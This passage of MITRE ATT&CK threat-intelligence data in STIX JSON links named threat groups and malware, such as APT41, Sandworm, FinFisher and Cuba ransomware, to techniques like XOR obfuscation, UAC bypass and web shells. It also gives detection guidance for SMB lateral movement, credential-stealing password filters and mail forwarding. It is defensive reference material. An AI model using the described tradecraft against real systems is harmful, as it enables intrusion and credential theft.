"Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-10T22:33:37.243Z", "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can encrypt payloads using XOR. [Threat Group-3390](https://attack.mitre.org/groups/G0027) malware is also obfuscated using Metasploit\u2019s shikata_ga_nai encoder as well as compressed with LZNT1 compression.(Citation: Nccgroup Emissary Panda May 2018)(Citation: Securelist LuckyMouse June 2018)(Citation: Unit42 Emissary Panda May 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6592447f-31c8-46d0-8e88-47584fa301f0", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT32 May 2017", "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}], "modified": "2020-03-17T02:38:07.464Z", "description": "[SOUNDBITE](https://attack.mitre.org/software/S0157) is capable of modifying the Registry.(Citation: FireEye APT32 May 2017)", "relationship_type": "uses", "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--659462ab-e1ed-4370-9810-aa3efcb060bf", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.finfisher.com/FinFisher/index.html", "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", "source_name": "FinFisher Citation"}, {"url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/", "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", "source_name": "Microsoft FinFisher March 2018"}], "modified": "2019-08-12T17:30:07.407Z", "description": "[FinFisher](https://attack.mitre.org/software/S0182) performs UAC bypass.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)", "relationship_type": "uses", "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--659dc38a-76ca-419d-9317-d55ba9de5f73", "created": "2022-03-30T14:26:51.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T15:00:08.385Z", "description": "Monitor network data for uncommon SMB data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network Analysis frameworks such as Zeek can be used to capture, decode, and alert on SMB network flows.\n\nNotes:\n\n- The logic for Implementation 1 is based around detecting on SMB write requests, which are often used by adversaries to move laterally to another host. Unlike SMB Reads, SMB Write requests typically require an additional level of access, resulting in less activity. Focusing on SMB Write activity narrows the field to looking at techniques associated with actively changing remote hosts, instead of passively reading files.\n- The logic for Implementation 2 is based around detection of new processes that were created from a file written to an SMB share.  First, a file is remotely written to a host via an SMB share; then, a variety of\u00a0Execution techniques can be used to remotely establish execution of the file or script. To detect this behavior, look for files that are written to a host over SMB and then later run directly as a process or in the command line arguments. SMB File Writes and Remote Execution may happen normally in an environment, but the combination of the two behaviors is less frequent and more likely to indicate adversarial activity.\n\nAnalytic 1 - SMB Write\n\n<code>source=\"*Zeek:SMB_Files\" port=\"445\" AND protocol=\"smb.write\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--65a16e8c-47a1-4327-8eed-5cc82339807f", "created": "2020-11-25T22:46:47.409Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Dragos Crashoverride 2018", "url": "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf", "description": "Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020."}, {"source_name": "US District Court Indictment GRU Unit 74455 October 2020", "url": "https://www.justice.gov/opa/press-release/file/1328521/download", "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) had gathered user, IP address, and server data related to RDP sessions on a compromised host. It has also accessed network diagram files useful for understanding how a host's network was configured.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: Dragos Crashoverride 2018) ", "modified": "2022-06-30T20:19:13.572Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--65a49aed-072a-489d-816d-d72dcede70d4", "type": "relationship", "created": "2022-03-30T14:26:51.860Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.860Z", "description": "Monitor for newly constructed files that may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--65adbdda-7069-40ed-9825-b79ec87e4916", "created": "2021-09-21T15:47:37.522Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "CrowdStrike Carbon Spider August 2021", "description": "Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.", "url": "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/"}, {"source_name": "Microsoft Ransomware as a Service", "description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}, {"source_name": "IBM Ransomware Trends September 2020", "description": "Singleton, C. and Kiefer, C. (2020, September 28). Ransomware 2020: Attack Trends Affecting Organizations Worldwide. Retrieved September 20, 2021.", "url": "https://securityintelligence.com/posts/ransomware-2020-attack-trends-new-techniques-affecting-organizations-worldwide/"}, {"source_name": "FBI Flash FIN7 USB", "description": "The Record. (2022, January 7). FBI: FIN7 hackers target US companies with BadUSB devices to install ransomware. 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(2017, February 15). Magic Hound Campaign Attacks Saudi Targets. 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(2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", "source_name": "Beechey 2010"}, {"source_name": "Microsoft Windows Defender Application Control", "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control", "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019."}, {"url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "source_name": "Windows Commands JPCERT"}, {"url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", "source_name": "NSA MS AppLocker"}, {"url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", "source_name": "Corio 2008"}, {"url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", "source_name": "TechNet Applocker vs SRP"}], "modified": "2022-02-28T19:28:36.565Z", "description": "Adversaries can install new AppInit DLLs binaries to execute this technique. Identify and block potentially malicious software executed through AppInit DLLs functionality by using application control (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. 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", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--65fdde6f-f10a-4c9d-933a-384319194c8c", "type": "relationship", "created": "2022-03-30T14:26:51.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.855Z", "description": "Monitor executed commands and arguments that may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66044dfc-ab9a-4de4-a20b-cfed6d3f6236", "type": "relationship", "created": "2020-12-29T21:32:28.163Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NHS Digital Egregor Nov 2020", "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary", "description": "NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020."}, {"source_name": "Cybereason Egregor Nov 2020", "url": "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", "description": "Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020."}], "modified": "2020-12-30T16:39:34.556Z", "description": "[Egregor](https://attack.mitre.org/software/S0554) has been decrypted before execution.(Citation: NHS Digital Egregor Nov 2020)(Citation: Cybereason Egregor Nov 2020) ", "relationship_type": "uses", "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6607178e-a8b4-4da9-b985-3712eb71a303", "created": "2020-03-25T18:30:50.106Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "RedLock Instance Metadata API 2018", "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.", "url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-08T20:16:02.375Z", "description": "Limit access to the Instance Metadata API. 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(2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}], "modified": "2020-01-09T17:00:26.490Z", "description": "[ASPXSpy](https://attack.mitre.org/software/S0073) is a Web shell. The ASPXTool version used by [Threat Group-3390](https://attack.mitre.org/groups/G0027) has been deployed to accessible servers running Internet Information Services (IIS).(Citation: Dell TG-3390)", "relationship_type": "uses", "source_ref": "malware--56f46b17-8cfa-46c0-b501-dd52fef394e2", "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6610332d-86a5-46dc-a0a1-31c2fe31f164", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "PWC Cloud Hopper Technical Annex April 2017", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", "url": "https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T00:18:11.799Z", "description": "A [RedLeaves](https://attack.mitre.org/software/S0153) configuration file is encrypted with a simple XOR key, 0x53.(Citation: PWC Cloud Hopper Technical Annex April 2017)", "relationship_type": "uses", "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6610cf22-0a8c-4c30-bc6f-817b8cf29e61", "type": "relationship", "created": "2022-03-25T15:28:15.227Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NTT Security Flagpro new December 2021", "url": "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech", "description": "Hada, H. (2021, December 28).  Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}], "modified": "2022-03-25T15:28:15.227Z", "description": "[Flagpro](https://attack.mitre.org/software/S0696) has been delivered within ZIP or RAR password-protected archived files.(Citation: NTT Security Flagpro new December 2021)", "relationship_type": "uses", "source_ref": "malware--592260fb-dd5c-4a30-8d99-106a0485be0d", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6613ed52-5c6c-43f2-bd0c-9809769cb022", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Putter Panda", "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}], "modified": "2020-03-17T00:00:03.451Z", "description": "[4H RAT](https://attack.mitre.org/software/S0065) obfuscates C2 communication using a 1-byte XOR with the key 0xBE.(Citation: CrowdStrike Putter Panda)", "relationship_type": "uses", "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66200ea6-03b8-4c4f-a1d4-9041ddc70d8a", "type": "relationship", "created": "2021-01-05T15:10:47.212Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point Pay2Key November 2020", "url": "https://research.checkpoint.com/2020/ransomware-alert-pay2key/", "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."}], "modified": "2021-01-05T15:10:47.212Z", "description": "[Pay2Key](https://attack.mitre.org/software/S0556) has sent its public key to the C2 server over TCP.(Citation: Check Point Pay2Key November 2020)", "relationship_type": "uses", "source_ref": "malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6624d48a-3e16-4ab7-8d13-ff40252ebde9", "type": "relationship", "created": "2022-03-30T14:26:51.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.851Z", "description": "Monitor for a file that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware.", "source_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--662dd798-61ce-4463-8567-9acdecade943", "created": "2023-03-06T23:40:15.682Z", "revoked": false, "external_references": [{"source_name": "Secureworks DarkTortilla Aug 2022", "description": "Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.", "url": "https://www.secureworks.com/research/darktortilla-malware-analysis"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-06T23:40:15.682Z", "description": "[DarkTortilla](https://attack.mitre.org/software/S1066) has used `%HiddenReg%` and `%HiddenKey%` as part of its persistence via the Windows registry.(Citation: Secureworks DarkTortilla Aug 2022)", "relationship_type": "uses", "source_ref": "malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8", "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--662e03e7-a7bb-4c5b-ada4-e00275885fbb", "created": "2022-12-19T18:28:16.881Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant APT41", "description": "Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.", "url": "https://www.mandiant.com/resources/apt41-us-state-governments"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-01-25T21:07:25.404Z", "description": "During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) broke malicious binaries, including [DEADEYE](https://attack.mitre.org/software/S1052) and [KEYPLUG](https://attack.mitre.org/software/S1051), into multiple sections on disk to evade detection.(Citation: Mandiant APT41)", "relationship_type": "uses", "source_ref": "campaign--ba6dfa37-f401-4140-88b0-8938f2895e61", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--662f14ec-90c6-48f7-98c6-ba028ca38621", "type": "relationship", "created": "2021-06-21T17:02:17.965Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Cuba April 2021", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf", "description": "Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}], "modified": "2021-08-31T21:30:39.368Z", "description": "[Cuba](https://attack.mitre.org/software/S0625) has used multiple layers of obfuscation to avoid analysis, including its Base64 encoded payload.(Citation: McAfee Cuba April 2021) ", "relationship_type": "uses", "source_ref": "malware--6cd07296-14aa-403d-9229-6343d03d4752", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6635f23e-99e9-4978-9924-ccf6c199f84f", "type": "relationship", "created": "2019-09-24T13:29:29.675Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos ZxShell Oct 2014", "url": "https://blogs.cisco.com/security/talos/opening-zxshell", "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}], "modified": "2022-01-05T16:34:01.659Z", "description": "[ZxShell](https://attack.mitre.org/software/S0412) can collect the owner and organization information from the target workstation.(Citation: Talos ZxShell Oct 2014) ", "relationship_type": "uses", "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--663d6fdf-6c99-4ef6-9a4e-bbc8bbe8591f", "type": "relationship", "created": "2019-04-25T21:34:56.303Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky MuddyWater Nov 2018", "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018."}], "modified": "2019-06-28T15:30:59.018Z", "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used the .NET csc.exe tool to compile executables from downloaded C# code.(Citation: ClearSky MuddyWater Nov 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--664006e4-dd30-4023-b3a3-659eb6adcd02", "type": "relationship", "created": "2022-03-30T14:26:51.846Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.846Z", "description": "Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include <code>X-MS-Exchange-Organization-AutoForwarded</code> set to true, <code>X-MailFwdBy</code> and <code>X-Forwarded-To</code>. The <code>forwardingSMTPAddress</code> parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the <code>X-MS-Exchange-Organization-AutoForwarded</code> header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66440b92-cfed-441c-85fd-1d103684a187", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Github Koadic", "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", "url": "https://github.com/zerosum0x0/koadic"}], "modified": "2020-03-16T16:55:04.389Z", "description": "[Koadic](https://attack.mitre.org/software/S0250) can retrieve the current content of the user clipboard.(Citation: Github Koadic)", "relationship_type": "uses", "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6645bf91-574b-46c3-b816-8ed45a465417", "type": "relationship", "created": "2020-08-13T14:05:44.534Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks Karagany July 2019", "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector", "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}], "modified": "2020-08-13T14:05:44.534Z", "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) has used plugins with a self-delete capability.(Citation: Secureworks Karagany July 2019)", "relationship_type": "uses", "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--664d1aaf-eb98-4683-bc57-1a19934d934a", "created": "2022-09-27T17:46:50.380Z", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-27T17:46:50.380Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used the command `net localgroup administrators` to list all administrators part of a local group.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": 